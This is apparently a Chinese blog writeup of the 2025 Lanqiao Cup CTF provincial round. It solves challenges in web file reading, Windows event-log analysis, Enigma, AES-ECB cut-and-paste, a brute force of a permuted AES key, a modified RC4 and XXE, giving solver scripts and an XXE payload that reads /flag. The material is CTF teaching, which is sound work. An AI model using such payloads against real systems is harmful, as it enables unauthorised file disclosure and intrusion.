2025年第十六届蓝桥杯网络安全CTF省赛(初赛)真题详解Writeup(Web、Misc、Crypto、Reverse、Pwn)

2025蓝桥杯CTF真题解析

原创已于 2025-09-26 14:19:48 修改 · 1.1k 阅读

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#蓝桥杯 #网络安全 #CTF #真题详解 #培训

于 2025-09-25 16:56:04 首次发布

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今年是第三届蓝桥杯网络安全CTF竞赛，相比于前两届，今年没有了理论题。这三年题目难度呈逐年上升趋势，以后大概率会越来越难。

第一题：情报收集：黑客密室逃脱（Web类题目50分）

1.1 题目描述：

靶机题目：黑客密室逃脱

题目内容：欢迎闯入黑客密室，你被困在了顶级黑客精心设计的数字牢笼中，每一道关卡都暗藏致命陷阱！唯一的逃脱之路，是破解散落在服务器各处的加密线索，找到最终的“数字钥匙”。赛题原题及工具资料下载地址:www.whsjyc.cn
访问靶机后如下图所示：

点击【立即查看日志】：

给出一串加密字符串，这就是密文，解密之后就是flag，点击【前往秘密区域】：

提示我们去访问/file?name=xxx，让我们猜测文件名。我们通过课程教授的方法获取到文件名是app.py，然后通过文件包含获取源代码：

import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面，可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r', encoding='utf-8') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

程序使用simple_encrypt()函数对敏感信息进行加密，当用户访问/logs页面时返回加密后的敏感信息。

1.2 解题步骤：

当用户访问/hidden.txt页面时返回密钥key，我们手动访问一下获得秘钥：

我们有了加密算法、密钥和密文，可以编写解密函数获取明文：

1.3 exp代码：

def simple_decrypt(encrypted_hex, key):
    encrypted_bytes = bytearray.fromhex(encrypted_hex)

    decrypted = bytearray()
    for i in range(len(encrypted_bytes)):
        encrypted_char = encrypted_bytes[i]
        key_char = key[i % len(key)]
        decrypted.append(encrypted_char - ord(key_char))

    return decrypted.decode('utf-8')

print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672"))

# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}

第二题：数据分析：ezEvtx（Misc杂项类题目50分）

2.1 题目描述：

题目内容：
EVTX文件是Windows操作系统生成的事件日志文件，用于记录系统、应用程序和安全事件。（本题需要选手找出攻击者访问成功的一个敏感文件，提交格式为flag{文件名}，其中文件名不包含文件路径，且包含文件后缀）赛题原题及工具资料下载地址:www.whsjyc.cn

2.2 解题步骤：

第一步，用上课教的软件elex.exe打开题目附件。

第二步，分析题目，题目说攻击者访问成功的一个敏感文件，我们需要找到这个文件名。课堂上我们讲过，事件ID4663:文件系统操作(详细文件访问)，事件ID4656:请求访问对象(通常是文件)，那么我们先根据4663进行筛选。

找到了文件名，答案就是flag{confidential.docx}

第三题：数据分析：flowzip（Misc杂项类题目50分）

3.1 题目描述：

题目内容：
There are many zip files.赛题原题及工具资料下载地址:www.whsjyc.cn

3.2 解题步骤：

直接一步解，查找flag。

第四题：密码破解：Enigma（Crypto密码学类题目50分）

4.1 题目描述：

题目内容：
Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备，旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合，通过复杂的电路转换实现对明文的加密与解密。（本题需要选手还原成原文字母，提交格式为flag{原文字母}，其中原文字母为全英文大写，且去掉空格。）赛题原题及工具资料下载地址:www.whsjyc.cn

4.2 解题步骤：

这道题目比我上课时候讲的恩尼格码加密简单多了，我上课的题目要编程写脚本，这道题目直接用赛博厨师直接一步解，就可以拿到flag。打开Cyberchef，选择Enigma加密算法。放入密文，发现直接出现了明文，怀疑可能是对称加密。flag{HELLOCTFERTHISISAMESSAGEFORYOU}

第五题：密码破解：ECBTrain（Crypto密码学类题目278分）

5.1 题目描述：

题目内容：
AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战？赛题原题及工具资料下载地址:www.whsjyc.cn

5.2 解题步骤：

靶机题目，加密算法为AES的ECB模式。利用了 AES-ECB 加密模式的分块独立加密特性。ECB 模式下，相同的明文块始终加密为相同的密文块，且各块加密互不影响。

靶场题目的意思是：netcat连接后，先注册，发现注册后返回auth（base64编码），再登陆的时候需要输入auth。

解题思路：第一步，第一次注册аааааааааааааааааdmin，这个账号由16个字符a和5个字符admin组成，所以加密是16个字符a为第一个独立块，admin为第二个独立块。第二步，第一次注册返回的是AES加密后的base64编码，我们获取AES密文的最后16字节就是admin加密后的密文auth。第三步，最后用这个密文的base64编码输入2登录即可获得flag。

5.3 exp代码：

import base64

def process_base64_string(encoded_string: str) -> str:

    """提取Base64解码数据的最后16字节并重新编码为Base64字符串"""

    return base64.b64encode(base64.b64decode(encoded_string)[-16:]).decode()

if __name__ == "__main__":

    input_string = "5P11TbEOqmL1oO50uA3RAuYDAShfRHesjVDxvulTEAk="

    print("处理后的Base64字符串:", process_base64_string(input_string))

flag值：
flag{69916f0f-eb6d-436e-ad27-0eb62dcbe740}

第六题：密码破解：easy_AES（Crypto密码学类题目286分）

6.1 题目描述：

题目内容：
题目采用的是传统的AES加密，但是其中的key似乎可以通过爆破得到，你能找到其中的问题，解密出敏感数据吗？赛题原题及工具资料下载地址:www.whsjyc.cn

题目代码如下：

from Crypto.Cipher import AES  # 导入AES加密模块
from secret import flag       # 从secret模块导入flag（假设为明文）
import random, os             # 导入random和os模块用于随机数生成

# 为消息填充字节，使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换，生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表（去掉"0x"前缀）
    random.shuffle(tables)                    # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)     # 对key0进行置换生成key1
    return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密，key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密，key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文

# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与，作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

6.2 exp代码：

关键点在于key1是由key0进行置换后得到的，尝试编写脚本爆破置换表后进行解密。

from Crypto.Cipher import AES  # 导入AES加密模块
# from secret import flag       # 从secret模块导入flag（假设为明文）
import random, os  # 导入random和os模块用于随机数生成


# 为消息填充字节，使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])


# 对密钥进行随机置换，生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表（去掉"0x"前缀）
    random.shuffle(tables)  # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey


# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)  # 对key0进行置换生成key1
    return key0, key1


# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密，key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密，key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))  # 先加密后解密生成密文


def decrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密，key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密，key0作为CBC模式的IV
    return aes0.decrypt(aes1.encrypt(msg))  # 先加密后解密生成密文


'''
# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与，作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
# key1 = b''.fromhex('74aeb356c6eb74f364cd316497c0f714')
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

# gift = bytes.fromhex(hex(gift)[2:])
# key1 = bytes.fromhex(hex(key1)[2:])
gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]] * 16

print(gift)
print(key1)
print(key0)

for i in range(32):
    key_new = []
    for j in range(16):
        if int(key1[i], 16) & j == int(gift[i], 16):
            # print(j)
            key_new.append(hex(j)[2:])

    # print(int(key1[i],16))
    key0[int(key1[i], 16)] = key_new

for i in range(len(key0)):
    if key0[i][0] == -1:
        key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
print(key0)
key0a = []


def gogogo(used, i):
    global key0, key0a
    for j in key0[i]:
        if j not in used:
            if i != 15:
                used2 = used + [j]
                # print(used2)
                gogogo(used2, i + 1)
            else:
                key0a.append(used + [j])


gogogo([], 0)
# print(key0a)

# for i in key0a:
#     if not i is list:
#         continue
#     # for j in range(len(key1)):
#     #     try:
#     #         newkey = "".join(i[int(key1[j], 16)])
#     #     except:
#     #         print(i)
#     #         print(int(key1[j], 16))
#     #         print(i[int(key1[j], 16)])
#     #         exit(0)
#     newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))
#     try:
#         ret = decrypt(newkey, key1, cipher)
#         if b'flag' in ret:
#             print(ret)
#             break
#     except:
#         print(newkey)

ret_all = b''

for i in key0a:
    newkey = "".join(i[int(key1[_], 16)] for _ in range(len(key1)))

    # print(newkey)
    a0, a1 = int(newkey, 16), int(key1, 16)
    if a0 & a1 == 64698960125130294692475067384121553664:
        # print(newkey)
        ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)
        # print(ret)
        ret_all += ret

with open('result.txt', 'wb') as f:
    f.write(ret_all)

生成result.txt，用winhex打开查找flag，flag{886769b5-2301-4c37-bb73-4480b4eab682}

第七题：逆向分析：ShadowPhases（Reverse逆向类题目50分）

7.1 题目描述：

题目内容：
在调查一起跨国数据泄露事件时，你的团队在暗网论坛发现一组被称作'三影密匣'的加密缓存文件。据匿名线报，这些文件采用上世纪某情报机构开发的“三重影位算法”，关键数据被分割为三个相位，每个相位使用不同的影位密钥混淆。威胁分析显示，若不能在48小时内还原原始信息，某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示：'相位间存在密钥共鸣，但需警惕内存中的镜像陷阱..赛题原题及工具资料下载地址:www.whsjyc.cn

7.2 解题步骤：

第一步，查壳，无壳64位

第二步，IDA64位打开，拖入IDA分析，发现会将我们的input与enc进行比较。这类题目课堂上讲过多种解法，最快的就是动调。

动调至断点处，获得flag，flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

第八题：逆向分析：BashBreaker（Reverse逆向类题目120分）

8.1 题目描述：

题目内容：
赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前，将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议，唯有通过15枚光子硬币的智慧试炼，才能唤醒沉睡的实验室AI。赛题原题及工具资料下载地址:www.whsjyc.cn

8.2 解题步骤：

第一步，查壳，无壳64位

第二步，IDA64位打开，拖入IDA分析，找到main函数后发现有一个key解密函数：

第三步，nop掉if语句，直接运行full_decrypt()函数获得key：

第四步，找到变异的rc4函数（rc4_init和rc4_next函数多一个异或0x37，），以及密文：

8.3 exp代码：

from Crypto.Cipher import ARC4
import binascii

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + (key[i % len(key)] ^ 0x37)) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        k = ((16 * k) | (k >> 4)) & 0xff
        result.append((byte ^ k)&0xff)

    return bytes(result)

if __name__ == "__main__":
    key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"
    enc = [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,
  0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,
  0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,
  0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,
  0x39, 0x18]
    plaintext = bytes(enc)

    ciphertext = rc4(key, plaintext)
    print("加密结果（Hex）:", bytes(ciphertext))

第九题：漏洞挖掘分析：星际XML解析器（web类题目）

9.1 题目描述：

你已进入星际数据的世界，输入XML数据，启动解析程序，探索未知的数据奥秘！赛题原题及工具资料下载地址:www.whsjyc.cn

9.2 解题步骤：

老师培训班讲过的原题XML攻击，直接拿老师上课的payload即可。

9.3 exp代码：

当服务器解析这段XML时：

遇到&xxe;引用时，尝试加载定义的外部实体
通过file://协议，解析器会读取服务器上的/flag文件
flag文件内容会被包含在XML响应中返回

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
    <user>&xxe;</user>
</creds>